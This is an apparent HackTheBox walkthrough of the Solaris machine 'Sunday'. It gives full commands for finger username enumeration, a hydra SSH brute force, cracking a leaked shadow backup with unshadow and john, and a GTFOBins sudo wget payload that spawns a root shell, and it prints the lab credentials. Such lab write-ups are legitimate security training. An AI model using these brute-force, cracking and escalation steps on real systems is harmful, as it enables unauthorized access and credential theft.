Overview

Sunday is an easy HackTheBox Solaris machine that leans on legacy services rarely seen on modern networks. The finger service, still enabled, enumerates valid usernames with terminal access, and a short password list is enough to brute force one over SSH. From there, a backup of /etc/shadow left in a readable location leaks a second user’s password hash, cracked offline and combined with /etc/passwd using unshadow. Root is a straightforward sudo misconfiguration around wget, exploited via a documented GTFOBins technique.

Attack Chain

  • Scan the target and find finger, RPC, printer, and two HTTP-like ports, including a non-standard SSH port
  • Browse to the web service and land on an Oracle Solaris Dashboard login portal
  • Use finger-user-enum to enumerate valid usernames with terminal access
  • Brute force SSH on the non-standard port with hydra using a small password list
  • Log in over SSH as sunny
  • Find a reference to /backup/shadow.backup in sunny’s .bash_history
  • Combine the leaked shadow entry with the corresponding /etc/passwd line using unshadow
  • Crack the resulting hash offline with john
  • Log in over SSH as sammy with the cracked password
  • Read the user flag
  • Find a sudo rule allowing /usr/bin/wget to run as root
  • Use the documented GTFOBins technique for wget to spawn a root shell
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.25.157; export NAME=SUNDAY; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

79,111,515,6787,22022

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Port 6787

We try connecting over HTTP and get a bad request error.

HTTP returns a bad request error

Switching to HTTPS, we land on a login portal for the Oracle Solaris Dashboard.

Oracle Solaris Dashboard login portal


Finger Enumeration

Enumerating Users

We use pentestmonkey’s finger-user-enum Perl script.

perl ~/Tools/finger-user-enum/finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t $IP | tee scans/finger_userenum_names.txt

We’re looking for users with terminal (SSH) access. We find two: sammy and sunny.

finger-user-enum finds sammy and sunny

We save the users to a file.

saving the discovered users


Foothold

Brute Forcing SSH

We use hydra to brute force with a smaller password list first, xato-net-10-million-passwords-10000.txt, before falling back to something longer.

hydra -L creds/users.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt -f $IP ssh -s 22022

We find SSH credentials.

hydra finds valid SSH credentials

sunny:sunday

We have an SSH session as sunny.

SSH session as sunny


Lateral Movement

Finding the Shadow Backup

We look at .bash_history and see a reference to /backup/shadow.backup.

.bash_history references shadow.backup

We view the file’s contents and copy sammy’s line to a file on our attacking machine.

copying sammy’s line from shadow.backup

The saved file:

the saved shadow line

We view /etc/passwd and copy sammy’s line too.

copying sammy’s line from /etc/passwd

The saved file:

the saved passwd line

Cracking the Password

We use unshadow to combine both files into a crackable hash format.

unshadow sammy.etcpasswd sammy.shadow > unshadow_sammy.hash

We crack it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt unshadow_sammy.hash

We have a password. From our finger-user-enum results, we know sammy also has SSH access.

john cracks sammy’s password

sammy:cooldude!

We have an SSH session as sammy.

SSH session as sammy

We read the user flag.

user flag


Privilege Escalation

Exploiting Sudo Wget

We check our privileges with sudo -l and find we can run /usr/bin/wget as sudo.

sudo -l shows wget

GTFOBins documents a sudo exploit for wget:

https://gtfobins.github.io/gtfobins/wget/#sudo

GTFOBins wget sudo entry

We replicate the steps, using /bin/bash instead of /bin/sh and the full sudo path:

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/bash\n/bin/bash 1>&0' >$TF
sudo /usr/bin/wget --use-askpass=$TF 0

We have a shell as root.

shell as root

We read the root flag.

root flag


Key Takeaways

Sunday shows that legacy services carry real risk long after most administrators have forgotten they exist, the finger protocol did nothing more than answer honestly about which accounts had shell access, but that alone shrank a brute-force target list from “every possible username” to two known-good ones. A shadow file backup left in a user-readable location is one of the most direct credential leaks possible on any Unix-like system, since it hands over the exact material offline password crackers are built to attack. Root, once again, came down to a sudo rule for a binary with unintended functionality, wget’s support for an external “askpass” helper program was never meant to be a privilege escalation primitive, but GTFOBins turns almost any feature-rich CLI tool into one under sudo.